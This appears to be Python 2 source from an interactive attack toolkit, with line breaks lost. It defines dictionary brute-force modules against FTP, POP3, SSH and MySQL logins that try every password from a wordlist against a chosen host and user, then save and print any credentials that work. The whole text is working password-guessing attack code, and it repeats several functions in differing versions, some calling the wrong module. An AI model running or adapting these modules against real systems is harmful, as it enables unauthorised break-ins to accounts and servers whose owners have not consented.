def btftp(run): try: global defaulthost, defaultport, defaultuser, defaultdicc if run != 1: actions = raw_input(d.prompt("bt/ftp")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP or DNS", defaulthost) d.descrip("port", "no", "Port of target", defaultport) d.descrip("user", "yes", "Username", defaultuser) d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc) d.space() btftp(0) elif actions[0:10] == "set target": defaulthost = defaulthost.replace("http://", "") defaulthost = ping.update(defaulthost, actions, "target") d.change("target", defaulthost) elif actions[0:8] == "set port": defaultport = ping.update(defaultport, actions, "port") d.change("port", defaultport) elif actions[0:8] == "set user": defaultuser = ping.update(defaultuser, actions, "user") d.change("user", defaultuser) elif actions[0:10] == "set dict_1": defaultdicc = ping.update(defaultdicc, actions, "dict_1") d.change("dict_1", defaultdicc) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return return elif actions == "run" or actions == "r": d.run() try: ftp = FTP(defaulthost) if True: try: d.loading_file() try: with open(defaultdicc, 'r') as passs: for ps in passs: ps = ps.replace("\n", "") try: ftp.login(defaultuser, ps) if True: ping.save("BruteForceFTP", defaulthost, defaultport, defaultuser, ps) d.Success(defaultuser, ps) return 1 except: print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")" except: Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) except: Errors.Errors(event=sys.exc_info()[0], info=False) except: Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) btftp(0)
def btpop3(run): try: global defaulthost,defaultport,defaultdicc,defaultaccount if run!=1: actions=raw_input(d.prompt("bt/pop3")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("target","yes","IP or DNS",defaulthost) d.descrip("port","no","Port of target",defaultport) d.descrip("email","yes","Account ",defaultaccount) d.descrip("dict_1","yes","Dictionary pass",defaultdicc) print "" btpop3(0) elif actions[0:10] == "set target": defaulthost = actions[11:] d.change("target",defaulthost) btpop3(0) elif actions[0:8] == "set port": defaultport = actions[9:] d.change("port",defaultport) btpop3(0) elif actions[0:9] == "set email": defaultaccount = actions[10:] d.change("email",defaultaccount) btpop3(0) elif actions[0:10] == "set dict_1": defaultdicc = actions[11:] d.change("dict_1",defaultdicc) btpop3(0) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return return elif actions=="run" or actions=="r": d.run() try: red=poplib.POP3(defaulthost, defaultport) if True: try: d.loading_file() try: with open(defaultdicc,'r') as passs: for ps in passs: ps=ps.replace("\n","") try: red.user(defaultaccount) red.pass_(ps) if True: ping.save("BruteForcePOP3",defaultaccount,ps) d.Success(defaultaccount,ps) btpop3(0) except: print " "+Alr+" Checking ("+defaultaccount+"="+ps+")" except: Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) except: Errors.Errors(event=sys.exc_info()[0], info=False) except: Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) btpop3(0)
def btftp(run): try: global defaulthost, defaultport, defaultuser, defaultdicc if run != 1: actions = raw_input(d.prompt("bt/ftp")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP or DNS", defaulthost) d.descrip("port", "no", "Port of target", defaultport) d.descrip("user", "yes", "Username", defaultuser) d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc) print "" btftp(0) elif actions[0:10] == "set target": defaulthost = actions[11:] defaulthost = defaulthost.replace("http://", "") d.change("target", defaulthost) btftp(0) elif actions[0:8] == "set port": defaultport = actions[9:] d.change("port", defaultport) btftp(0) elif actions[0:8] == "set user": defaultuser = actions[9:] d.change("user", defaultuser) btftp(0) elif actions[0:10] == "set dict_1": defaultdicc = actions[11:] d.change("dict_1", defaultdicc) btftp(0) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return return elif actions == "run" or actions == "r": d.run() try: ftp = FTP(defaulthost) if True: try: d.loading() try: with open(defaultdicc, 'r') as passs: for ps in passs: ps = ps.replace("\n", "") try: ftp.login(defaultuser, ps) if True: ping.save("BruteForceFTP", defaulthost, defaultport, defaultuser, ps) print "\n-" + Suf + " Successfully with (" + defaultuser + "=" + ps + ")\n" return 1 except: print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")" except: d.filenot(defaultdicc) btpop3(0) except: d.kbi() except: d.off() else: d.nocommand() except: d.kbi() exit() btftp(0)
def btssh(run): try: global defaulthost, defaultport, defaultuser, defaultdicc if run != 1: actions = raw_input(d.prompt("bt/ssh")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP or DNS", defaulthost) d.descrip("port", "no", "Port of target", defaultport) d.descrip("user", "yes", "Username", defaultuser) d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc) print "" btssh(0) elif actions[0:10] == "set target": defaulthost = actions[11:] defaulthost = defaulthost.replace("http://", "") d.change("target", defaulthost) btssh(0) elif actions[0:8] == "set port": defaultport = actions[9:] d.change("port", defaultport) btssh(0) elif actions[0:8] == "set user": defaultuser = actions[9:] d.change("user", defaultuser) btssh(0) elif actions[0:10] == "set dict_1": defaultdicc = actions[11:] d.change("dict_1", defaultdicc) btssh(0) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return return elif actions == "run" or actions == "r": d.run() try: ping.live(defaulthost, defaultport) if True: try: d.loading() try: with open(defaultdicc, "r") as passs: for ps in passs: ps = ps.replace("\n", "") try: connect = pxssh.pxssh() connect.login(defaulthost, defaultuser, ps) if True: ping.save("BruteForceSSH", defaulthost, defaultport, defaultuser, ps) print "\n-" + Suf + " Successfully with (" + defaultuser + "=" + ps + ")\n" return 1 except: print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")" except: d.filenot(defaultdicc) btpop3(0) except: d.kbi() except: d.off() else: d.nocommand() except: d.kbi() exit() btssh(0)
def btsql(run): try: global defaulthost,defaultport,defaultuser,defaultdicc if run!=1: actions=raw_input(d.prompt("bt/sql")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("target","yes","IP or DNS",defaulthost) d.descrip("port","no","Port of target",defaultport) d.descrip("user","yes","Username",defaultuser) d.descrip("dict_1","yes","Dictionary pass",defaultdicc) d.space() btsql(0) elif actions[0:10] == "set target": defaulthost=defaulthost.replace("http://", "") defaulthost=ping.update(defaulthost,actions,"target") d.change("target",defaulthost) elif actions[0:8] == "set port": defaultport=ping.update(defaultport,actions,"port") d.change("port",defaultport) elif actions[0:8] == "set user": defaultuser=ping.update(defaultuser,actions,"user") d.change("user",defaultuser) elif actions[0:10] == "set dict_1": defaultdicc=ping.update(defaultdicc,actions,"dict_1") d.change("dict_1",defaultdicc) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return return elif actions=="run" or actions=="r": d.run() try: ping.live(defaulthost,defaultport) if True: try: d.loading_file() try: with open(defaultdicc,'r') as passs: for ps in passs: ps=ps.replace("\n","") try: MySQLdb.connect(defaulthost,defaultuser,ps,'') if True: ping.save("BruteForceSQL",defaulthost,defaultport,defaultuser,ps) d.Success(defaultuser,ps) return 1 except: print " "+Alr+" Checking ("+defaultuser+"="+ps+")" except: Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) except: Errors.Errors(event=sys.exc_info()[0], info=False) except: Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) btsql(0)
def btpop3(run): try: global defaulthost, defaultport, defaultdicc, defaultaccount if run != 1: actions = raw_input(d.prompt("bt/pop3")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP or DNS", defaulthost) d.descrip("port", "no", "Port of target", defaultport) d.descrip("email", "yes", "Account ", defaultaccount) d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc) print "" btpop3(0) elif actions[0:10] == "set target": defaulthost = actions[11:] d.change("target", defaulthost) btpop3(0) elif actions[0:8] == "set port": defaultport = actions[9:] d.change("port", defaultport) btpop3(0) elif actions[0:9] == "set email": defaultaccount = actions[10:] d.change("email", defaultaccount) btpop3(0) elif actions[0:10] == "set dict_1": defaultdicc = actions[11:] d.change("dict_1", defaultdicc) btpop3(0) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return return elif actions == "run" or actions == "r": d.run() try: red = poplib.POP3(defaulthost, defaultport) if True: try: d.loading_file() try: with open(defaultdicc, 'r') as passs: for ps in passs: ps = ps.replace("\n", "") try: red.user(defaultaccount) red.pass_(ps) if True: ping.save("BruteForcePOP3", defaultaccount, ps) d.Success(defaultaccount, ps) btpop3(0) except: print " " + Alr + " Checking (" + defaultaccount + "=" + ps + ")" except: Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) except: Errors.Errors(event=sys.exc_info()[0], info=False) except: Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) btpop3(0)